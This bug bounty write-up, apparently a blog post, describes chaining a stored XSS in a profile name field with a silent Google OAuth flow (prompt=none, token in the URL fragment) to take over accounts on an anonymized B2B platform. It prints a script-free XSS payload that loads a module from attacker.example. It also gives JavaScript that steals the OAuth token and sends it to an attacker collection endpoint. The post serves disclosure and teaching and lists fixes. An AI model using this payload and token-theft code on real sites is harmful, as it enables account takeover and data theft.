CriticalXSS to OAuth Account Takeover· 4 min read

The First Name That Signed Me In as You

A profile field nobody guards became the loose thread that unraveled an entire OAuth login — one unescaped name away from full account takeover.

Target anonymized · a construction-industry B2B platform

Most people picture bug bounty as prying open admin panels or smuggling requests past a WAF. A lot of my best findings start somewhere much more boring: a form field a developer wrote in an afternoon and never thought about again. This one lived on a construction-industry B2B platform — the kind of portal where contractors manage quotes, accounts, and orders. It logged everyone in through Google, which is exactly the kind of glue code that gets copied from a tutorial and never re-read. I was poking at the profile page. Under Personal Details there was a field called First Name. That's where it started.

The spark

I'd already found an XSS elsewhere in this app — a payload that landed inside a <script> block on a different page. Different bug, different context, but it made me suspicious of how the app handled user-controlled strings. So when I edited my profile and set my first name to something with angle brackets in it, I watched where it came back.

It came back raw. Not inside an attribute, not inside a script — dropped straight into the page's HTML body, unescaped. A < was a <. That's the difference between "reflected string" and "you now control the DOM."

A raw HTML-context reflection in a name field is a clean stored XSS. On its own, that's a finding. But XSS on a B2B portal that mostly shows you your own data is exactly the kind of thing a triage team loves to downgrade — "self-XSS," "low impact," "who cares if you script your own profile." I needed to prove it was worth more than that. And the login button gave me the idea.

Digging in

The app authenticated through Google OAuth. When I watched the handshake in Burp, two things jumped out.

First, the response_type wasn't the clean authorization-code flow — it was a hybrid that asked Google to hand back a token in the URL fragment, right there at the redirect. Second, the flow could be replayed with prompt=none.

That second detail is the quiet one. prompt=none tells Google: don't show the user anything — if they already have a session with you, just silently mint a fresh code and redirect. Every logged-in Google user on the planet has that session. So anyone who could trigger this flow inside the victim's browser could obtain a fresh, valid authorization artifact for the victim's identity, with zero clicks.

My first instinct was the obvious one: steal the token cross-origin from my attacker page. Dead end. The token lands in the fragment on the app's origin, and the same-origin policy means my attacker.example page can't read location.hash of a window sitting on app.example.com. The browser was doing its job.

Then it clicked. I already had code execution on the app's origin — that was the whole point of the XSS. I didn't need to break same-origin. I was same-origin.

The XSS was never the real vulnerability. The real vulnerability was that my origin was trusted to receive OAuth tokens in a readable URL fragment. The XSS just gave me a pair of hands inside that trust boundary.

The exploit

The delivery payload avoided <script> entirely — useful when filters are watching for it. onpageshow fires on load, and dynamic import() pulls in a remote module:

<body/onpageshow=import('//attacker.example/c.js')>

That module runs as the app. From there the whole chain is just same-origin bookkeeping. A helper page opens a named popup, walks it through the silent OAuth flow, and my injected module simply reads the fragment out of that window and ships it home:

// executing on app.example.com thanks to the name-field XSS
const w = window.open('', 'oauthWin');       // grab the popup already on our origin
const token = w.location.hash.substring(1);  // same-origin: reading this is allowed
new Image().src =
  '//attacker.example/collect?d=' + encodeURIComponent(token);

Meanwhile the silent flow that fills that fragment is just:

GET /o/oauth2/auth?client_id=<CLIENT_ID>
  &redirect_uri=https://app.example.com/oauth/callback
  &response_type=code,token      ← token delivered in the URL fragment
  &scope=profile%20email
  &prompt=none                   ← no interaction; reuses the victim's Google session

I collected the authorization code at my webhook, dropped it into the app's OAuth callback URL, and opened it. The app happily exchanged it and handed me a session — as the victim.

Impact

One unescaped name field turned into full account takeover. Feed a victim a link, wait about twenty seconds, and I'm logged into their account: their business details, their quotes, their orders — whatever a compromised contractor account can reach on a B2B procurement platform. No password, no MFA prompt, no interaction beyond opening a page. That's the whole ballgame. Critical, not "self-XSS."

The fix

The satisfying part is that any one of several fixes breaks the chain:

  • Escape output. A name is text. Contextually HTML-encode it on the way out and the XSS simply never exists. This is the root cause and the first thing to fix.
  • Kill the token-in-fragment flow. Use the authorization-code flow with PKCE. The code stays server-side; nothing sensitive lands in a URL an in-page script can read.
  • Add a CSP. A policy that forbids inline event handlers and remote module import() would have stopped the payload from ever loading c.js.
  • Treat prompt=none as sensitive. Silent re-auth is convenient and dangerous; pin redirect URIs exactly and bind every flow to a fresh state.

None of these are exotic. The lesson I keep relearning is that severity lives in the chain, not the bug. A name field and a login button are both boring. Put them in the same origin and you get a takeover.

stored-xssoauthaccount-takeoverprompt-nonecspsame-origin

All identifiers, targets and payloads in this post are anonymized or defanged. Findings were reported and resolved through responsible disclosure.